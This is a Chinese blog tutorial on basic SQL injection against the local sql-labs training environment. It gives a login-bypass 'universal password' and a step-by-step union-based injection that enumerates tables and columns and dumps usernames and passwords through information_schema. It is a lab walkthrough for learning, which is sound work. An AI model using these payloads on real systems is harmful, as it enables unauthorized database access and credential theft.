简单的SQL注入

SQL注入原理

1、定义

定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2、基本方式

sql注入可以绕过后台登录直接进入数据库,从而得到所需要的用户数据等重要数据,可以得到相关服务器密码进入服务器达到入侵的目的。

sql注入之万能密码

万能密码如下:

select * from user where uname=1' or 1=1#

其中第一个1后面有个单引号,改符号为闭合符号,最后有一个 #号为注释符号
其中需要注意的是闭合符号'、"、')、")。
常见的注释符号有:#、--+、--空格。

联合注入查询

需要用到sql-labs环境练习,可以百度搭建环境。

1、判断闭合符号

注意这里我们使用--+注释符号,不能使用#
在这里插入图片描述
我们在url框输入

http://127.0.0.1/Less-1/?id=1

下面的数据会出现变化
在这里插入图片描述
这就是最普通的注入
可以在1右边加闭合符号,如果不对会出现如下报错。
在这里插入图片描述

2、判断列数

加上order by 1--+(1可以变换,数值越大列越多,试到报错为止)

http://127.0.0.1/Less-1/?id=1' order by 1--+

在这里插入图片描述
可以判断出有3列

3、开始联合查询

如下

127.0.0.1/Less-1/?id=0' union select 1,2,3--+

在这里插入图片描述
爆出数值2,3。即可在该位置插入所需语句进行下一步查询。

127.0.0.1/Less-1/?id=0' union select 1,2,database()--+

在这里插入图片描述
查询到所需数据表显示在3,位置。

4、爆数据表

知道了表名就可以爆出数据表的值了,hhhh。
首先数据表里面有一个大数据库information_schema,里面包含所有数据表。下面列出个语句作用:
group_concat函数返回一个字符串结果,该结果由分组中的值连接组合而成。
table_name表名
information_schema.tables包含所有库的表名
table_schema数据库名
整体代码如下

http://127.0.0.1/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述

5、爆字段

新语句
information_schema.columns包含所有表的字段
column_name列名
爆位置2如下

127.0.0.1/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

在这里插入图片描述
也可以爆位置3

127.0.0.1/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

6、爆值

127.0.0.1/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

在这里插入图片描述
级得到我们需要的数据了,hhh。一到四关方法一致。

第二关无闭合符号

在这里插入图片描述

第三关闭合符号为’)

在这里插入图片描述

第四关闭合符号为")

在这里插入图片描述

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值